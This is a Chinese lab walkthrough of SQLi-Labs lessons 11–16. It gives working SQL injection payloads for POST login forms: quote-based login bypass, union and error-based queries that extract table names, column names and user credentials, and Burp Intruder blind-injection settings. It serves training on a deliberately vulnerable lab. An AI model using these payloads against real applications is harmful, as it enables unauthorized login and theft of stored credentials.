SQLi-Labs Less11-Less16


Less-11-POST-Error Based-Single quotes-String


username栏输入一个单引号报错:
在这里插入图片描述

说明查询语句有username='$_POST[username]' and password='$_POST[password]',查询有两个字段
username栏输入
' or 1=1#
提交,绕过登陆验证,并且知道两处可以回显。
在这里插入图片描述
构造查询数据库名:
' union select database(),@@version#
在这里插入图片描述

查数据表,username栏输入:
' union select database(),group_concat(table_name) from information_schema.tables where table_schema=database()#
在这里插入图片描述

查users表的列名,输入:
' union select database(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'#
在这里插入图片描述


Less-12-POST-Error Based-Double quotes-String-with twist


username栏输入双引号报错:
在这里插入图片描述

查询语句里是用括号和双引号包裹$_POST参数的。
输入:") or 1=1#绕过
查数据库名:") union select database(),@@version#
查数据表名:
") union select database(),group_concat(table_name) from information_schema.tables where table_schema=database()#
方法同Less-11类似,只是将单引号换成双引号外加括号。
省略下面的步骤……


Less-13-POST-Double Injection-Single quotes-String-with twist


输入单引号报错,从报错里看到参数是用单引号和括号包裹的。
输入:') or 1=1#万能密码绕过。
输入') union select database(),2#能绕过,但不回显。
尝试报错注入语句,输入:
') union select count(*),concat('~',(select database()),'~',floor(rand(0)*2)) a from information_schema.tables group by a#
在这里插入图片描述

得到数据库名。
查数据表数量,这里用extractvalue函数报错:
') and extractvalue(1,concat(0x5c,(select count(table_name) from information_schema.tables where table_schema='security'),0x5c))#
在这里插入图片描述

查数据表名:
') and extractvalue(1,concat(0x5c,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x5c))#
更改limit子句查出所有表名。
在这里插入图片描述

查users表的列数量:
') and extractvalue(1,concat(0x5c,(select count(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x5c))#
在这里插入图片描述

查users表的列名:
') and extractvalue(1,concat(0x5c,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),0x5c))#
在这里插入图片描述

查数据:
') and extractvalue(1,concat(0x5c,(select concat(username,'~',password) from security.users limit 1,1),0x5c))#

具体方法可参考Less-5和Less-6


Less-14-POST-Double Injection-Double quotes-String-with twist


Less-14同Less-13只有双引号的差别。


Less-15-POST-Blind-Boolean/time Based-Single qoutes


POST的基于布尔/时间盲注,这里可以使用burp的intruder模块进行盲注。
在页面上测试输入:' or 1=1#可以绕过,
用burp抓包,右键send to intruder。
查数据库名:
positions栏里的Attack type设置为Cluster bomb,
uname参数输入:' or ascii(substr(database(),1,1))=97#
设置payload位置:
在这里插入图片描述

payloads栏里payloads set1和2的payload type都设置为Numbers,
payload Options设置payload1 from 1 to 10 step 1
payload2 from 97 to 130 step 1
点击start attack,最后在结果里查找length不同的即为正确的payload
在这里插入图片描述

暴数据表:
在这里插入图片描述
在这里插入图片描述

同理可以暴破字段名,数据等。
具体盲注技巧可以参考Less7-10


Less-16-POST-Blind-Boolean/Time Based-Double quotes


Less-16方法同Less-15类似,采用布尔盲注或时间盲注,并换成双引号。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值